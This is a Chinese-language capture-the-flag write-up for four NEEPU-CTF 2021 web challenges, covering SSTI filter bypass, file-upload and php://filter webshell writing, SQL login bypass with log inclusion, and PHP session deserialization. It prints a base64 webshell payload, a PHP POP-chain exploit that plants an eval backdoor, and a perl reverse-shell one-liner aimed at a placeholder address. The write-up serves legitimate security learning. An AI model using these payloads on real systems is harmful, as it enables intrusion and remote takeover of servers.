NEEPU-CTF 2021 Web后四题Writeup

The_myth_of_Aladdin

考点:SSTI、个别字符过滤、命令过滤

这题感觉是安洵杯2020那题SSTI的简化版,这里过滤的东西不是特别多,主要是过滤了空格卡了好久(没发现,呜呜呜)。这里过滤了{{可以使用{%print%}替代、.可以使用[]替换、_可以使用Unicode编码替换,但是好像还过滤一些命令,这里我是用base64 /f*的方式。背景的小姐姐很好看,爱了爱了!

image-20210522120030495

upload_club

考点:php://filter协议文件包含、df绕过

感觉这里是我做出来的几题中最好的,这里先讲一下思路:上传一个一句话木马的文件,然后包含它即可。

接着说一下遇到的几个考点:

​ 1.这里利用了file_get_contents('php://input')方式获取了POST的所有内容,然后去匹配,如果存在25则结束,但是这里有个缺陷,如果POST上传的形式不是application/x-www-form-urlencoded而是multipart/form-data则获取不到POST请求参数可以绕过这里。

image-20210523235941462

​ 2.这里有个neepu_sec.clubPOST请求的参数如果直接写的话是不行,不过可以写脚本简单遍历一下

image-20210524000407795

import requests

url = "http://127.0.0.1/ceshi/a.php"

for i in range(32,128):
    for j in range(32,128):
        data = {
            'neepu'+chr(i)+'sec'+chr(j)+'club':123
        }
        res = requests.post(url=url,data=data)
        if "neepu_sec.club" in res.text:
            print 'neepu'+chr(i)+'sec'+chr(j)+'club'
            exit(0)
            
#PHP代码:<?var_dump($_POST);?>

​ 3.其实这步就简单了,因为我们已经绕过了第1点的限制了,所以这里变的很简单,可以直接使用编码绕过base64string,使用php伪协议php://filter,但是需要写入文件,这里我利用的过滤器是string.strip_tags|convert.base64-decode,最后resource配置为?>PD89ZXZhbCgkX1BPU1RbMV0pOz8+/../21.txt,这里使用?>闭合前面的php代码,则他们都会被string.strip_tags过滤器删除,接着base64过滤器将剩下的字符进行解码,则获得一句话木马

image-20210524000807400

​ 4.这里看似不能用<?php,但是如果文件是以<?开头则可以绕过,而不能用php的话,使用短标签<?=?>即可

image-20210524001721799

image-20210524002159586

好像就没啥可以说的,接下来是详细步骤

先上传了一句话木马

image-20210523001313665

然后去包含它,执行phpinfo()时发现过滤好多函数,看来是要绕过df了

image-20210523001342255

这里利用了之前朋友给的一个绕php7的df文件,将它通过file_put_contents函数写入。

image-20210523001059003

访问根目录下,有个getflag的文件,执行就获得flag

image-20210523001035179

gamebox

考点:SQL万能密码、日志包含Getshell

上来是一个登陆框(只有username),猜测后台的SQL语句为select * from user where username = '$username',这里ban了好多字符,如or||#--等等,这里把可以通过1'=1='0登陆上去

接着就是猜正反了,emmm这个我真没啥想法,纯靠硬猜就过了,原本以为就给flag了,可惜没有。不过看到了URL就感觉是文件包含了,这里连想到了日志包含

image-20210524200829249

先判断好日志的位置

image-20210524200750642

接着上传一句话木马

image-20210524201000281

接着测试一下一句话木马是否可用

image-20210524201144938

最后通过蚁剑拿到flag

image-20210524201309128

serialize_club

考点:任意文件读取、session反序列化、Linux下的SUID提权

是一个站点,页面上没有看到什么有用的信息,于是看了一下源代码。又是一个文件包含的漏洞,尝试读index.php文件源码。

image-20210524202621552

这里发现代码做了base64编码,解码一下就可以了

image-20210524202902213

在源码中看到了这个,知道是session反序列化漏洞

image-20210524203116240

构造一下POP链,代码如下

<?php
error_reporting(0);
class backdoor {
    protected
        //! eval code
        $cmd = 'eval($_POST[1]);?>';
}
class neepu {
    protected
        //! Neepu
        $neepu,
        //! Memory-held data
        $data,
        //! Info
        $info;
    public function setneepu($a){
        $this->neepu = $a;
    }
    public function setinfo($a){
        $this->info['info'] = $a;
    }
}
class n33pu {
    public
        //! Neepu func
        $func;
}
class dumb {
    public
        //! dumb
        $dumb;
}

$back = new backdoor();
$n33 = new n33pu();
$n33->func = $back;

$neepu1 = new neepu();
$neepu1->setinfo($n33);

$neepu2 = new neepu();
$neepu2->setneepu($neepu1);

$dump = new dumb();
$dump->dumb = $neepu2;

var_dump(str_replace("s","S",str_replace("\x00","\\00",serialize($dump))));

接着把序列化的字符串上传了,这里可能会失败,多发一些包,然后多尝试几次就可以了

image-20210524215524742

连上靶机后,这里想反弹shell的,但是一般的bashpythonphp都失败了,呜呜呜。

image-20210524220027901

最后在网上找了一个perl反弹shell的脚本

perl -e 'use Socket;$i="xx.xx.xx.xx";$p=xxxx;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

接着这里用了find命令查看一下可能存在SUID权限的命令,发现xxd是可以的,然后是通过取巧的方式,因为问了管理员flag的位置,他跟我说在/root下,所以这里直接用去看了flag。

image-20210524214820196

posted @ 2021-05-24 22:16  erR0Ratao  阅读(374)  评论(0编辑  收藏  举报